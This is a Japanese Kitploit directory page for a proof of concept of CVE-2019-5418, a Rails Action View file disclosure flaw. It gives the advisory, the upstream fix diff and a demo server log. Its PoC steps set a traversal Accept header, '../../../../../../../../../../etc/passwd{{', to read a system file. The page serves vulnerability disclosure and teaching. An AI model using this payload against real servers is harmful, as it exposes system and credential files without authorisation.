Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-5418 — CVE-2019-5418 - Ruby on Rails におけるファイル内容の開示 | Kitploit
ツール/GitHubGitHub/mpgn/cve-2019-5418
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubmpgn/cve-2019-5418

CVE-2019-5418

CVE-2019-5418 - Ruby on Rails におけるファイル内容の開示

リポジトリを見る
201225年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-5418 - Rails におけるファイルコンテンツ開示

EDIT: このCVEはリモートコード実行(RCE)につながる可能性があります。詳細: https://github.com/mpgn/Rails-doubletap-RCE

Action View には、ファイルコンテンツ開示の脆弱性が存在する可能性があります。 特別に細工された Accept ヘッダーと render file: の呼び出しを組み合わせることで、 対象サーバー上の任意のファイルがレンダリングされ、ファイルの内容が 開示される可能性があります。

影響は、accept 形式が指定されずにファイル内容をレンダリングする render の呼び出しに限定されます。コントローラー内の影響を受けるコードは 次のようになります。

John Hawthorn(GitHub)によって発見されました

image

技術的分析:

  • https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/

セキュリティアドバイザリ:

  • https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q

Action View 6.0.0.beta3、5.2.2.1、5.1.6.2、5.0.7.2、4.2.11.1 で修正されました

root@kitploit:~
From f4c70c2222180b8d9d924f00af0c7fd632e26715 Mon Sep 17 00:00:00 2001
From: John Hawthorn <[email protected]>
Date: Mon, 4 Mar 2019 18:24:51 -0800
Subject: [PATCH] Only accept formats from registered mime types

[CVE-2019-5418]
[CVE-2019-5419]
---
 .../lib/action_dispatch/http/mime_negotiation.rb   |  5 +++++
 actionpack/test/controller/mime/respond_to_test.rb | 10 ++++++----
 .../new_base/content_negotiation_test.rb           | 14 ++++++++++++--
 3 files changed, 23 insertions(+), 6 deletions(-)

diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 498b1e669576..4e81ba12a58b 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -79,6 +79,11 @@ def formats
           else
             [Mime[:html]]
           end
+
+          v = v.select do |format|
+            format.symbol || format.ref == "*/*"
+          end
+
           set_header k, v
         end
       end

概念実証(Proof of Concept)

  1. demoフォルダー内で脆弱なアプリケーションを実行します:
root@kitploit:~
foo@bar:~$ cd demo/
foo@bar:~$ bundle install
[...]
foo@bar:~$ rails s                                                                                                                12:59:54
=> Booting Puma
=> Rails 5.2.1 application starting in development 
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.12.0 (ruby 2.5.1-p57), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://0.0.0.0:3000
Use Ctrl-C to stop
Started GET "/" for 127.0.0.1 at 2019-03-16 13:00:00 +0100
Processing by Rails::WelcomeController#index as HTML
  Rendering /var/lib/gems/2.5.0/gems/railties-5.2.1/lib/rails/templates/rails/welcome/index.html.erb
  Rendered /var/lib/gems/2.5.0/gems/railties-5.2.1/lib/rails/templates/rails/welcome/index.html.erb (1.4ms)
Completed 200 OK in 8ms (Views: 2.7ms | ActiveRecord: 0.0ms)


Started GET "/chybeta" for 127.0.0.1 at 2019-03-16 13:00:03 +0100
Processing by ChybetaController#index as HTML
  Rendering README.md within layouts/application
  Rendered README.md within layouts/application (0.2ms)
Completed 200 OK in 122ms (Views: 121.1ms | ActiveRecord: 0.0ms)
  1. ルート /chybeta にアクセスします
  2. Burpでリクエストをインターセプトし、Accept ヘッダーを Accept: ../../../../../../../../../../etc/passwd{{ に置き換えます

image

image

ツールをダウンロード